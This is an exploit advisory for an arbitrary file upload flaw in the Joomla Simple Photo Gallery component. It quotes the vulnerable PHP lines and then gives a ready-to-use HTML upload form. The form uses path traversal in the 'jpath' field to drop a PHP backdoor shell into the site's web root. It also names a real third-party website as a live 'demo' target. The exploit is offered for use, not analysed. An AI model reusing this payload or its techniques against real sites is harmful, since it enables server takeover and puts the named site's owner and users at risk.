joomla simple photo gallery upload

Title	:	Joomla Simple Photo Gallery - Arbitrary File Upload
Author	:	CrashBandicot @ DosPerl
Size	:	-
Source	:	www.exploit4arab.net
Download	:	-

###################### ###################### ###################### ####

# Vulnerable File : uploadFile.php
# Path : /administrator/components/com_simplephotogallery/lib/uploadFile.php

20. $fieldName = 'uploadfile';

87. $fileTemp = $_FILES[$ fieldName]['tmp_name'];

94. $uploadPath = urldecode($_ REQUEST["jpath"]).$ fileName;

96. if(! move_uploaded_file($ fileTemp, $uploadPath))


# Exploit :

<*form method="POST" action="http://localhost/administrator/components/com_simplephotogallery/lib/ uploadFile.php" enctype="multipart/form-data"*>
<*input type="file" name="uploadfile"*>


<*input type="text" name="jpath" value="..%2F..%2F..%2F..%2F"*>

<*input type="submit" name="Submit" value="Pwn!"*>





# Name of Shell Show you after Click on Pwn!, Name is random (eg : backdoor__FDSfezfs.php)

# Shell Path : http://localhost/backdoor__[RandomString].php

# Demo : http:// www.aphroditesvision.com/ administrator/components/com_simplephotogallery/lib/uploadFile.php